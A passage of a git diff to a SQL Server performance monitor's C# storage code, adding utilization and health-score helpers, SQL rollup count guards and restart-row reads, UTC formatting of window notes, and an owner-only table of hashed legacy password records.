+/// two reads at the bottom give the server's monthly cost and the latest storage totals.
+/// </summary>
+public static class FinOpsUtilizationFigures
+{
+    /// <summary>Health-band names. Kept together so a rename touches one place; the cut points are those of
+    /// <see cref="FinOpsHealthCalculator.ScoreColor"/>.</summary>
+    public const string BandGood = "good";
+    public const string BandFair = "fair";
+    public const string BandPoor = "poor";
+
+    /// <summary>Stolen memory: (total server memory - buffer pool) / total server memory, in percent; 0 when no total.</summary>
+    public static double StolenMemoryPct(int totalMb, int bufferPoolMb) =>
+        totalMb > 0
+            ? (double)(totalMb - bufferPoolMb) / totalMb * 100.0
+            : 0;
+
+    /// <summary>The buffer pool's share of physical memory, in percent; 0 when no physical memory.</summary>
+    public static double BufferPoolPct(int bufferPoolMb, int physicalMb) =>
+        physicalMb > 0
+            ? (double)bufferPoolMb / physicalMb * 100.0
+            : 0;
+
+    /// <summary>Free space as a percent of allocated; 100 when nothing is allocated (no snapshot, or an empty one).</summary>
+    public static decimal FreeSpacePct(decimal allocatedMb, decimal freeMb) =>
+        allocatedMb > 0 ? freeMb / allocatedMb * 100m : 100m;
+
+    /// <summary>False when the 24-hour window held no CPU sample (an empty verdict).</summary>
+    public static bool HasCpuSample(UtilizationEfficiencyDto d) => d.ProvisioningStatus.Length > 0;
+
+    /// <summary>The health score for these figures, field by field. A window with no CPU sample leaves the CPU term
+    /// out: its p95 is a 0 that came from nothing, and scoring that 0 would hand the server a full 100.</summary>
+    public static int HealthScore(bool hasCpuSample, decimal p95CpuPct, int physicalMemoryMb, int bufferPoolMb, decimal freeSpacePct)
+    {
+        var bpRatio = physicalMemoryMb > 0 ? (decimal)bufferPoolMb / physicalMemoryMb : 0m;
+        int? cpuScore = hasCpuSample ? FinOpsHealthCalculator.CpuScore(p95CpuPct) : null;
+        return FinOpsHealthCalculator.Overall(
+            cpuScore, FinOpsHealthCalculator.MemoryScore(bpRatio), FinOpsHealthCalculator.StorageScore(freeSpacePct));
+    }
+
+    /// <summary>
+    /// The score the Utilization card shows: <see cref="HealthScore(UtilizationEfficiencyDto, decimal)"/>, or null (a dash) when the
+    /// window held no CPU sample. Memory and storage alone can read a perfect 100 beside a "No Data" card, so with no CPU sample there is
+    /// no score, not a partial one.
+    /// </summary>
+    public static int? HealthScoreOrNull(UtilizationEfficiencyDto d, decimal freeSpacePct) =>
+        HasCpuSample(d) ? HealthScore(d, freeSpacePct) : null;
+
+    /// <summary>The health score for a read result and the free-space percentage.</summary>
+    public static int HealthScore(UtilizationEfficiencyDto d, decimal freeSpacePct) =>
+        HealthScore(HasCpuSample(d), d.P95CpuPct, d.PhysicalMemoryMb, d.BufferPoolMb, freeSpacePct);
+
+    /// <summary>The band a score falls in: good at 80 and above, fair at 60 and above, otherwise poor.</summary>
+    public static string HealthBand(int score) => score >= 80 ? BandGood : score >= 60 ? BandFair : BandPoor;
+
+    /// <summary>The sentence that says why the server got its verdict; empty for no verdict. The numbers in it are
+    /// formatted in <paramref name="culture"/>, which is made the thread's current culture for the call and restored after.</summary>
+    public static string Explanation(UtilizationEfficiencyDto d, CultureInfo culture)
+    {
+        var previous = CultureInfo.CurrentCulture;
+        CultureInfo.CurrentCulture = culture;
+
+        try
+        {
+            var bpPct = BufferPoolPct(d.BufferPoolMb, d.PhysicalMemoryMb);
+            var azureSqlDb = ServerHardwareScope.HardwareIsTheHosts(d.EngineEdition);
+            return d.ProvisioningStatus switch
+            {
+                "RIGHT_SIZED" => ServerHardwareScope.RightSizedExplanation(d.AvgCpuPct, d.P95CpuPct, bpPct, azureSqlDb),
+                "OVER_PROVISIONED" => ServerHardwareScope.OverProvisionedExplanation(d.AvgCpuPct, d.MaxCpuPct, bpPct, azureSqlDb),
+                /* The reason comes from the same place as the verdict, so a server flagged for grant pressure or
+                   worker saturation is not explained as a memory ratio that no longer decides anything (#2246). */
+                "UNDER_PROVISIONED" => ProvisioningVerdict.UnderProvisionedReason(
+                    d.P95CpuPct, d.MaxGrantWaiters, d.GrantTimeouts, d.ForcedGrants,
+                    d.MaxWorkersCount, d.CurrentWorkersCount),
+                ProvisioningVerdict.NotApplicable => ProvisioningVerdict.NotApplicableExplanation,
+                _ => ""
+            };
+        }
+        finally
+        {
+            CultureInfo.CurrentCulture = previous;
+        }
+    }
+
+    /// <summary>The server's monthly cost from the registry. $1 server_id. NULL reads as 0, as the viewer's server list does.</summary>
+    public const string MonthlyCostSql = "SELECT COALESCE(monthly_cost_usd, 0) FROM servers WHERE server_id = $1";
+
+    /// <summary>The server's monthly cost in USD; 0 when the server has no row or no cost set.</summary>
+    public static async Task<decimal> GetMonthlyCostUsdAsync(
+        NpgsqlDataSource dataSource, int serverId, int commandTimeoutSeconds, CancellationToken cancellationToken = default)
+    {
+        await using var command = dataSource.CreateCommand(MonthlyCostSql);
+        command.CommandTimeout = commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        var value = await command.ExecuteScalarAsync(cancellationToken);
+        return value is null or DBNull ? 0m : Convert.ToDecimal(value, CultureInfo.InvariantCulture);
+    }
+
+    /// <summary>The windowed half of the latest-snapshot probe. $1 server_id, $2 window start; no upper bound.</summary>
+    public const string LatestStorageSnapshotWindowedSql = @"
+SELECT MAX(collection_time)
+FROM v_database_size_stats
+WHERE server_id = $1
+AND   collection_time >= $2";
+
+    /// <summary>The unbounded fallback, reached only when the windowed probe finds nothing. $1 server_id.</summary>
+    public const string LatestStorageSnapshotFallbackSql = @"
+SELECT MAX(collection_time)
+FROM v_database_size_stats
+WHERE server_id = $1";
+
+    /// <summary>The allocated and free totals at one snapshot. $1 server_id, $2 collection_time. A row with no total
+    /// (the Hyperscale log file) adds nothing to either; a row with no used size has no free space.</summary>
+    public const string LatestStorageTotalsSql = @"
+SELECT COALESCE(SUM(total_size_mb), 0),
+       COALESCE(SUM(CASE WHEN total_size_mb IS NOT NULL AND used_size_mb IS NOT NULL THEN total_size_mb - used_size_mb END), 0)
+FROM v_database_size_stats
+WHERE server_id = $1
+AND   collection_time = $2";
+
+    /// <summary>The allocated and free storage totals (MB) at the server's latest database-size snapshot; null when it
+    /// has none. Equal to the viewer's allocated and free totals over its latest-size read.</summary>
+    public static async Task<(decimal AllocatedMb, decimal FreeMb)?> GetLatestStorageTotalsAsync(
+        NpgsqlDataSource dataSource, int serverId, int commandTimeoutSeconds, CancellationToken cancellationToken = default)
+    {
+        var windowStart = DateTime.SpecifyKind(DateTime.UtcNow.AddDays(-2), DateTimeKind.Unspecified);
+        DateTime? snapshot = null;
+
+        await using (var probe = dataSource.CreateCommand(LatestStorageSnapshotWindowedSql))
+        {
+            probe.CommandTimeout = commandTimeoutSeconds;
+            probe.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+            probe.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = windowStart });
+            if (await probe.ExecuteScalarAsync(cancellationToken) is DateTime windowed)
+            {
+                snapshot = windowed;
+            }
+        }
+
+        if (snapshot is null)
+        {
+            await using var fallback = dataSource.CreateCommand(LatestStorageSnapshotFallbackSql);
+            fallback.CommandTimeout = commandTimeoutSeconds;
+            fallback.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+            if (await fallback.ExecuteScalarAsync(cancellationToken) is DateTime unbounded)
+            {
+                snapshot = unbounded;
+            }
+        }
+
+        if (snapshot is null)
+        {
+            return null;
+        }
+
+        await using var command = dataSource.CreateCommand(LatestStorageTotalsSql);
+        command.CommandTimeout = commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = snapshot.Value });
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        if (!await reader.ReadAsync(cancellationToken))
+        {
+            return null;
+        }
+
+        return (Convert.ToDecimal(reader.GetValue(0), CultureInfo.InvariantCulture),
+                Convert.ToDecimal(reader.GetValue(1), CultureInfo.InvariantCulture));
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/FinOps/IndexCleanupRollupFigures.cs b/Darling/PerformanceMonitor.Darling.Storage/FinOps/IndexCleanupRollupFigures.cs
new file mode 100644
index 0000000000..ea370993d9
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/FinOps/IndexCleanupRollupFigures.cs
@@ -0,0 +1,23 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Globalization;
+
+namespace PerformanceMonitor.Darling.Storage.FinOps;
+
+/// <summary>The index-cleanup rollup's average-wait formulas, shared by the viewer grid and any other consumer.</summary>
+public static class IndexCleanupRollupFigures
+{
+    /// <summary>Average wait in ms per wait: <paramref name="waitInMs"/> / <paramref name="waitCount"/>; 0 when there were no waits.</summary>
+    public static decimal AverageWaitMs(long waitInMs, long waitCount) =>
+        waitCount > 0 ? (decimal)waitInMs / waitCount : 0m;
+
+    /// <summary>The display text of the average wait: two decimals when there were waits, otherwise "0".</summary>
+    public static string AverageWaitMsText(long waitInMs, long waitCount) =>
+        waitCount > 0 ? ((decimal)waitInMs / waitCount).ToString("N2", CultureInfo.CurrentCulture) : "0";
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/HourlyWindowEdges.cs b/Darling/PerformanceMonitor.Darling.Storage/HourlyWindowEdges.cs
index 9806a98155..1b56cb5e98 100644
--- a/Darling/PerformanceMonitor.Darling.Storage/HourlyWindowEdges.cs
+++ b/Darling/PerformanceMonitor.Darling.Storage/HourlyWindowEdges.cs
@@ -36,7 +36,9 @@ public static (DateTime Start, DateTime? End) ServedSpan(
     /// <summary>One sentence per edge that moved, joined. <paramref name="ceiling"/> is the materialization ceiling
     /// of the relation serving the window end (null = nothing materialized). When the ceiling is at or before
     /// the window end, the end sentence says nothing after it was read, and, if the start also moved, names the
-    /// whole served span. All times are UTC.</summary>
+    /// whole served span. Every instant it names is UTC with the Z (<c>McpHelpers.FormatEffectiveStart</c>), as
+    /// <c>effective_start</c> prints (#4966): the window's own edges arrive UTC and the first bucket and the ceiling come off
+    /// the store naive, and a plain "o" put the zone marker on some of them and not others.</summary>
     public static string? Note(DateTime requestedStart, DateTime? firstBucket, DateTime requestedEnd, DateTime? ceiling)
     {
         var parts = new System.Collections.Generic.List<string>(3);
@@ -45,8 +47,7 @@ public static (DateTime Start, DateTime? End) ServedSpan(
         var startMoved = served != requestedStart;
         if (startHour != requestedStart)
         {
-            parts.Add(string.Create(CultureInfo.InvariantCulture,
-                $"hourly buckets start on the hour: no bucket before {served:o}: the data from {requestedStart:o} to {served:o} is not included"));
+            parts.Add($"hourly buckets start on the hour: no bucket before {Utc(served)}: the data from {Utc(requestedStart)} to {Utc(served)} is not included");
         }
 
         var endHour = FloorHour(requestedEnd);
@@ -56,21 +57,25 @@ public static (DateTime Start, DateTime? End) ServedSpan(
         }
         else if (ceiling.Value <= requestedEnd)
         {
-            var cut = string.Create(CultureInfo.InvariantCulture,
-                $"the hourly rollup is materialized only to {ceiling.Value:o}; nothing after it was read");
-            parts.Add(startMoved
-                ? string.Create(CultureInfo.InvariantCulture, $"served from {served:o} to {ceiling.Value:o}; {cut}")
-                : cut);
+            var cut = $"the hourly rollup is materialized only to {Utc(ceiling.Value)}; nothing after it was read";
+            parts.Add(startMoved ? $"served from {Utc(served)} to {Utc(ceiling.Value)}; {cut}" : cut);
         }
         else if (endHour != requestedEnd)
         {
-            parts.Add(string.Create(CultureInfo.InvariantCulture,
-                $"the bucket at {endHour:o} is included whole, so up to {servedEnd!.Value:o} is counted past as_of"));
+            parts.Add($"the bucket at {Utc(endHour)} is included whole, so up to {Utc(servedEnd!.Value)} is counted past as_of");
         }
 
         return string.Join("; ", parts);
     }
 
+    /// <summary>
+    /// An instant as <c>McpHelpers.FormatEffectiveStart</c> prints it: UTC, with the Z. Only the kind is set; the instant is
+    /// never shifted. That formatter is internal to Common, which this project cannot see, so its one-line body is repeated here
+    /// and <c>HourlyWindowEdgesTests</c> holds the two to the same text.
+    /// </summary>
+    private static string Utc(DateTime instant) =>
+        DateTime.SpecifyKind(instant, DateTimeKind.Utc).ToString("o", CultureInfo.InvariantCulture);
+
     private static DateTime FloorHour(DateTime value) =>
         new(value.Year, value.Month, value.Day, value.Hour, 0, 0, value.Kind);
 }
diff --git a/Darling/PerformanceMonitor.Darling.Storage/IntervalRollupCountGuard.cs b/Darling/PerformanceMonitor.Darling.Storage/IntervalRollupCountGuard.cs
new file mode 100644
index 0000000000..950bdfd8b9
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/IntervalRollupCountGuard.cs
@@ -0,0 +1,77 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>
+/// The count guard of a long-window read that takes its middle hours from the hourly interval rollup of
+/// <c>collect.query_stats</c> and its edges from raw (#4605). The read may use the rollup for a span only when the
+/// rollup holds every raw row the span has, hour by hour. The guard proves that without scanning raw: it compares, per
+/// (server, hour), the hour ledger (<see cref="QueryStatsHourLedger"/>, a row count the collector adds in the same
+/// transaction as its COPY) with the rollup's <c>sum(sample_count)</c>, and returns the number of pairs that disagree.
+/// The guard it replaces counted every raw row of the window; on a large store that ran past its 15 s cap and the route
+/// was never taken. The ledger half of this guard reads one row per (server, hour). The rollup half still sums every rollup
+/// row of the window (one per server, database, query_hash, sql_handle and hour): the same rows the panel's middle-hours
+/// read scans next, so the guard costs about one pass over the rollup's window and reads no raw rows. Whether that pass fits
+/// the 15 s cap on a large store is not claimed here: the acceptance read of #4605 measures it after deployment.
+/// <para>A result of 0 means the guard passed. <see cref="UncoveredResult"/> (-1) means the ledger does not cover the
+/// window: the state row's <c>counted_since</c> is after the window start, or the state row is missing, so the hours
+/// before it were never counted and no comparison says anything. Any other result, or a fault, means the read stays on
+/// raw. A store before V164 has no ledger table, so the runner reads the store's schema version first and does not run the
+/// guard below <see cref="QueryStatsHourLedger.RungVersion"/>: the read stays on raw with no fault. A ledger table that is missing
+/// on a store at the rung is a fault like any other.</para>
+/// <para><b>What a pass proves.</b> The ledger counts the rollup's population: a restart row
+/// (<c>sample_interval_seconds = 0</c>) is in neither, and a row with a NULL interval is in both, because the rollup's
+/// own <c>count(*)</c> sits under <c>WHERE sample_interval_seconds IS DISTINCT FROM 0</c>
+/// (<see cref="TimescaleSupport.CreateQueryStatsIntervalHourlySql"/>). Restart rows need no guard: the route reads them
+/// live from raw (<see cref="IntervalRollupRestartRows"/>). The collector writes the ledger in its COPY's own transaction, so
+/// the guard and the panel read one REPEATABLE READ snapshot in which the ledger, raw and the rollup are all the state
+/// after the same set of commits. A drift the ledger saw makes the counts differ, and a difference fails safe: a rollup
+/// that has not refreshed over a counted row is below the ledger, and a (server, hour) the ledger lacks leaves the rollup
+/// above it (the FULL JOIN keeps a pair that only one side has). The unsafe case is a writer of <c>collect.query_stats</c>
+/// that the ledger does not count, whose rows the rollup also lacks (a late row below the watermark, before the next
+/// refresh, is one). The writer census pin (<c>QueryStatsWriterCensusPins</c>) sees this build's code only. It cannot see an
+/// older service that still writes raw rows into a V164 store (a rolling upgrade, or a downgrade): the guard catches those
+/// rows wherever the rollup holds them, and misses them in one known case, an hour the rollup never materialized (a hole)
+/// whose raw rows all came from an older service. That hour has no ledger row and no rollup row, so no pair disagrees, the
+/// guard returns 0, and the route reads nothing for that hour while raw has rows. A row-by-row DELETE of raw shows only after
+/// the rollup refreshes over it, which retention never does inside a window the route takes (its window starts inside raw's
+/// retention). An in-place UPDATE of a raw row changes no count and passes unseen, so the route also relies on the
+/// collector's append-only COPY writes and its whole-row retention; a live pin in the runner change records that dependency
+/// (#4605).</para>
+/// <para>Every instant is bound: <c>$1</c> is the start, inclusive, and <c>$2</c> the end, exclusive, both naive UTC
+/// <c>timestamp</c>; <c>$3</c> is a <c>text[]</c> of server names, or NULL for every server. Both sides take the scope the
+/// panel read takes (<see cref="ServerScopeSql.Predicate"/>, #5525): the <c>server_id</c> of every registry row that carries one of
+/// the names, so a renamed server's hours under its earlier name are proven too, not only the hours stored under its current name.
+/// When the runner found scoped names that the registry does not hold, <see cref="SqlFor"/> adds <c>$4</c>, a <c>text[]</c> of them,
+/// and each side also matches those on the row's stored <c>server_name</c>. The coverage test compares the store-wide <c>counted_since</c> with <c>$1</c>, so a window that
+/// starts exactly at <c>counted_since</c> is covered; a missing state row yields NULL, which is not <c>&lt;= $1</c>, so it reads as
+/// uncovered. The comparison sits in the branch taken only for a covered window, so an uncovered window never runs it.</para>
+/// </summary>
+public static class IntervalRollupCountGuard
+{
+    /// <summary>The result that says the ledger does not cover the window (<c>counted_since</c> is after its start, or the state row is missing): the guard cannot pass it and the read stays on raw. It is not a mismatch count, so the caller notes it apart from a failed comparison.</summary>
+    public const long UncoveredResult = -1;
+
+    /// <summary>The number of (server, hour) pairs in <c>[$1, $2)</c> whose ledger count differs from the hourly rollup's <c>sum(sample_count)</c>, or <see cref="UncoveredResult"/> when the ledger does not cover the window; 0 means the guard passed. The scope binds <c>$3</c> only: use <see cref="SqlFor"/> when the run has unregistered names (<c>$4</c>).</summary>
+    public static readonly string QueryStatsSql = SqlFor(withUnregisteredServers: false);
+
+    /// <summary><see cref="QueryStatsSql"/>, with the unregistered-name arm (<c>$4</c>, a <c>text[]</c>) when <paramref name="withUnregisteredServers"/> is true. The FULL JOIN keys on (server_id, server_name, bucket) in both forms, so a pair whose rows sit under an earlier name is compared on its own.</summary>
+    public static string SqlFor(bool withUnregisteredServers)
+    {
+        var scope = "$3::text[] IS NULL OR " + ServerScopeSql.Predicate(string.Empty, "$3", withUnregisteredServers ? "$4" : null);
+        return $@"
+WITH l AS (SELECT server_id, server_name, bucket, n FROM collect.query_stats_hour_ledger
+           WHERE bucket >= $1 AND bucket < $2 AND ({scope})),
+     c AS (SELECT server_id, server_name, bucket, sum(sample_count) AS n FROM collect.query_stats_interval_hourly
+           WHERE bucket >= $1 AND bucket < $2 AND ({scope}) GROUP BY 1, 2, 3),
+     m AS (SELECT count(*) AS n FROM l FULL JOIN c USING (server_id, server_name, bucket) WHERE l.n IS DISTINCT FROM c.n)
+SELECT CASE WHEN (SELECT counted_since FROM collect.query_stats_hour_ledger_state WHERE id = 1) <= $1
+            THEN (SELECT n FROM m) ELSE -1 END;";
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/IntervalRollupRestartRows.cs b/Darling/PerformanceMonitor.Darling.Storage/IntervalRollupRestartRows.cs
new file mode 100644
index 0000000000..fd99fb2599
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/IntervalRollupRestartRows.cs
@@ -0,0 +1,42 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>
+/// The restart arm of a long-window read that takes its rows from the hourly interval rollups of
+/// <c>collect.query_stats</c> and <c>collect.procedure_stats</c> (#4605). A restart row is a row in which no
+/// counter was knowable (<c>sample_interval_seconds = 0</c>): a first sighting, an uncredited counter reset (a
+/// restart, a plan-cache eviction) or a gap past the policy. Its delta cannot be rated, so the
+/// rollups exclude it, and a read that wants those rows back takes them from the raw table. The reads carry
+/// presence, not CPU: every counter delta of such a row is 0, so a group that exists only as a restart row
+/// reappears with no value. These two reads are that arm. The routing that runs them beside the rollups is the Custom Views runner (<c>DarlingWebEndpoints.RunComposedPanelCoreAsync</c>), which runs the count guard first.
+/// <para>Each read carries the predicate of the partial index built for it in <see cref="PgTableTuning"/>
+/// (<see cref="PgTableTuning.QueryStatsRestartRowIndexName"/>,
+/// <see cref="PgTableTuning.ProcedureStatsRestartRowIndexName"/>), because the planner uses a partial index
+/// only when the read implies its predicate. The window is half-open: <c>$1</c> is the start, inclusive, and
+/// <c>$2</c> the end, exclusive.</para>
+/// </summary>
+public static class IntervalRollupRestartRows
+{
+    /// <summary>The raw restart rows of <c>collect.query_stats</c> in <c>[$1, $2)</c>, read through the partial index on <c>collection_time</c>.</summary>
+    public const string QueryStatsRestartRowsSql = @"
+SELECT r.server_name, r.database_name, r.sql_handle, r.collection_time, r.sample_interval_seconds
+FROM collect.query_stats AS r
+WHERE r.collection_time >= $1
+  AND r.collection_time < $2
+  AND r.sample_interval_seconds = 0;";
+
+    /// <summary>The raw restart rows of <c>collect.procedure_stats</c> in <c>[$1, $2)</c>, read through the partial index on <c>collection_time</c>.</summary>
+    public const string ProcedureStatsRestartRowsSql = @"
+SELECT r.server_name, r.object_name, r.collection_time, r.sample_interval_seconds
+FROM collect.procedure_stats AS r
+WHERE r.collection_time >= $1
+  AND r.collection_time < $2
+  AND r.sample_interval_seconds = 0;";
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/LegacyPinCandidateTables.cs b/Darling/PerformanceMonitor.Darling.Storage/LegacyPinCandidateTables.cs
new file mode 100644
index 0000000000..9f85baf36f
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/LegacyPinCandidateTables.cs
@@ -0,0 +1,116 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Collections.Generic;
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>
+/// The record of which old-format saved passwords were in the store when the store reached V167 (#5456), its creating
+/// script and the statement that fills it. The one-time pin step (<c>DarlingPasswordKeyStore.SnapshotLegacyPinsAsync</c>)
+/// works from this record: it pins a saved value only when the value and the connection it is saved for both still equal
+/// what was recorded here. Nothing in this class writes: the table is changed by the store owner only, and the
+/// owner-only trigger on it (<see cref="CreateSql"/>) refuses every other writer.
+/// </summary>
+public static class LegacyPinCandidateTables
+{
+    /// <summary>The store schema version of the rung that creates the table and records the values (V167).</summary>
+    public const int RungVersion = 167;
+
+    /// <summary>
+    /// The table, its two owner-only triggers and row-level security. The triggers are made before
+    /// <see cref="CaptureSql"/> runs, so the table is never writable by anyone else, not even for the moment between
+    /// its creation and the provisioning scripts' revoke. The table holds, per saved password, the SHA-256 of the stored
+    /// text (never the text) and the connection columns the pin binds the value to, copied as the source row holds them:
+    /// for a server's own or remediation password the server's connection settings, for the mail server the host, port,
+    /// SSL flag and user name (in <c>host</c>, <c>port</c>, <c>smtp_use_ssl</c> and <c>username</c>). Idempotent. The
+    /// rung embeds this text, so once V167 has shipped, editing it edits a shipped rung: add a new rung instead.
+    /// </summary>
+    public const string CreateSql = @"
+CREATE TABLE IF NOT EXISTS config.legacy_secret_pin_candidate
+(
+    server_id integer NOT NULL,
+    slot text NOT NULL,
+    value_sha256 bytea NOT NULL,
+    host text,
+    port integer,
+    engine text,
+    database text,
+    read_only_intent boolean,
+    auth text,
+    username text,
+    encrypt_mode text,
+    trust_server_certificate boolean,
+    multi_subnet_failover boolean,
+    remediation_username text,
+    smtp_use_ssl boolean,
+    captured_at timestamp NOT NULL DEFAULT (now() AT TIME ZONE 'UTC'),
+    CONSTRAINT pk_legacy_secret_pin_candidate PRIMARY KEY (server_id, slot),
+    CONSTRAINT ck_legacy_secret_pin_candidate_slot CHECK (slot IN ('server', 'remediation', 'smtp'))
+);
+
+ALTER TABLE config.legacy_secret_pin_candidate ENABLE ROW LEVEL SECURITY;
+
+DROP TRIGGER IF EXISTS trg_legacy_secret_pin_candidate_owner_only_row ON config.legacy_secret_pin_candidate;
+CREATE TRIGGER trg_legacy_secret_pin_candidate_owner_only_row
+    BEFORE INSERT OR UPDATE OR DELETE ON config.legacy_secret_pin_candidate
+    FOR EACH ROW EXECUTE FUNCTION config.password_key_owner_only();
+DROP TRIGGER IF EXISTS trg_legacy_secret_pin_candidate_owner_only_truncate ON config.legacy_secret_pin_candidate;
+CREATE TRIGGER trg_legacy_secret_pin_candidate_owner_only_truncate
+    BEFORE TRUNCATE ON config.legacy_secret_pin_candidate
+    FOR EACH STATEMENT EXECUTE FUNCTION config.password_key_owner_only();
+
+ALTER TABLE config.legacy_secret_pin_candidate ENABLE ALWAYS TRIGGER trg_legacy_secret_pin_candidate_owner_only_row;
+ALTER TABLE config.legacy_secret_pin_candidate ENABLE ALWAYS TRIGGER trg_legacy_secret_pin_candidate_owner_only_truncate;";
+
+    /// <summary>
+    /// Records every old-format saved password in the store now: one row per non-blank server, remediation and
+    /// mail-server value that is not a reference (<c>env:</c> / <c>file:</c>) and not sealed, with the hash of the
+    /// stored text (the same hash the pin step and the resolver take of it) and the connection columns. Runs only while
+    /// the pin step is pending (marker <c>pending</c>), so a store whose step is done or set aside (<c>skipped</c>) records
+    /// nothing. The mail server's row is <c>server_id</c> 0. Idempotent: a row already recorded is left as it is.
+    /// </summary>
+    public const string CaptureSql = @"
+INSERT INTO config.legacy_secret_pin_candidate
+    (server_id, slot, value_sha256, host, port, engine, database, read_only_intent, auth, username, encrypt_mode,
+     trust_server_certificate, multi_subnet_failover, remediation_username, smtp_use_ssl)
+SELECT v.server_id, v.slot, pg_catalog.sha256(pg_catalog.convert_to(v.stored, 'UTF8')), v.host, v.port, v.engine, v.database,
+       v.read_only_intent, v.auth, v.username, v.encrypt_mode, v.trust_server_certificate, v.multi_subnet_failover,
+       v.remediation_username, v.smtp_use_ssl
+FROM (
+    SELECT s.server_id, 'server'::text AS slot, s.encrypted_password AS stored, s.host, s.port, s.engine, s.database,
+           s.read_only_intent, s.auth, s.username, s.encrypt_mode, s.trust_server_certificate, s.multi_subnet_failover,
+           NULL::text AS remediation_username, NULL::boolean AS smtp_use_ssl
+    FROM config.config_monitored_servers AS s
+    UNION ALL
+    SELECT s.server_id, 'remediation'::text, s.remediation_encrypted_password, s.host, s.port, s.engine, s.database,
+           s.read_only_intent, s.auth, s.username, s.encrypt_mode, s.trust_server_certificate, s.multi_subnet_failover,
+           s.remediation_username, NULL::boolean
+    FROM config.config_monitored_servers AS s
+    UNION ALL
+    SELECT 0, 'smtp'::text, n.smtp_encrypted_password, n.smtp_host, n.smtp_port, NULL::text, NULL::text,
+           NULL::boolean, NULL::text, n.smtp_username, NULL::text, NULL::boolean, NULL::boolean,
+           NULL::text, n.smtp_use_ssl
+    FROM config.config_notification AS n
+    WHERE n.id = 1
+) AS v
+WHERE v.stored IS NOT NULL
+  AND v.stored !~ '^\s*$'
+  AND NOT pg_catalog.starts_with(v.stored, 'sealed:')
+  AND NOT pg_catalog.starts_with(v.stored, 'env:')
+  AND NOT pg_catalog.starts_with(v.stored, 'file:')
+  AND EXISTS (SELECT 1 FROM config.legacy_secret_pin_marker AS m WHERE m.id = 1 AND m.state = 'pending')
+ON CONFLICT (server_id, slot) DO NOTHING;";
+
+    /// <summary>The two triggers <see cref="CreateSql"/> creates, by table. The service checks the catalog against them and expects both to be <c>ENABLE ALWAYS</c>.</summary>
+    public static readonly IReadOnlyList<(string Table, string Trigger)> OwnerOnlyTriggers = new[]
+    {
+        ("legacy_secret_pin_candidate", "trg_legacy_secret_pin_candidate_owner_only_row"),
+        ("legacy_secret_pin_candidate", "trg_legacy_secret_pin_candidate_owner_only_truncate"),
+    };
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/OversizedPlanBacklog.cs b/Darling/PerformanceMonitor.Darling.Storage/OversizedPlanBacklog.cs
index 03a299bdb1..cc358dc71b 100644
--- a/Darling/PerformanceMonitor.Darling.Storage/OversizedPlanBacklog.cs
+++ b/Darling/PerformanceMonitor.Darling.Storage/OversizedPlanBacklog.cs
@@ -95,11 +95,13 @@ public static class OversizedPlanBacklog
     /// concatenates this constant into its rung, the V38 idiom, so the shape the store gets and the shape the
     /// statements below address cannot drift.
     ///
-    /// <para><c>attempt_count</c> and <c>last_attempt_at</c> are not bookkeeping. Ordering the claim by
-    /// <c>last_attempt_at</c> is what makes head-of-line starvation impossible: a row that was just tried
-    /// goes to the back, so one plan that can never be fetched cannot occupy a slot every tick forever. The
-    /// count then makes a chronic failure legible in the TABLE rather than only in a log line nobody
-    /// greps.</para>
+    /// <para><c>attempt_count</c> and <c>last_attempt_at</c> are not bookkeeping. Ranking the claim by
+    /// <c>last_attempt_at</c> makes the tried rows a round-robin: a row that was just tried goes to the back of
+    /// the tried rows, and the tried rows hold at most <see cref="TriedRowsPerClaim"/> of a claim's slots, so
+    /// one plan that can never be fetched cannot keep every never-tried row out (it does keep a slot's turn,
+    /// every <c>ceil(tried rows / share)</c> passes, for as long as it fails: a failure is not counted). The
+    /// count is the sweep's retirement limit: it grows only when a plan that had the whole judging budget to
+    /// itself overran it (#5367 review, A-M1), so a connect failure or an expiry does not move it.</para>
     /// </summary>
     public const string CreateTableSql = @"
 CREATE TABLE IF NOT EXISTS collect.oversized_plan_backlog
@@ -169,15 +171,39 @@ ON CONFLICT ON CONSTRAINT pk_oversized_plan_backlog DO UPDATE SET
     expired_at = NULL;";
 
     /// <summary>
-    /// The sweep's claim for one server: the rows with no content yet and no standing expiry, oldest ATTEMPT
-    /// first so nothing can starve, then largest plan first among rows never attempted — those are the plans
-    /// the cap cost the most visibility on, which is the whole reason to go back for them.
+    /// How many already-tried rows one claim of <paramref name="limit"/> rows may take while there are never-tried
+    /// rows to take instead: half, rounded down (5 of 10). The other half is reserved for never-tried rows, so a
+    /// backlog of tried rows whose fetch keeps failing cannot fill every claim and keep a new row out for good
+    /// (#5367 review round 2, N2). When one side has fewer rows than its share, the other side takes the rest.
+    /// </summary>
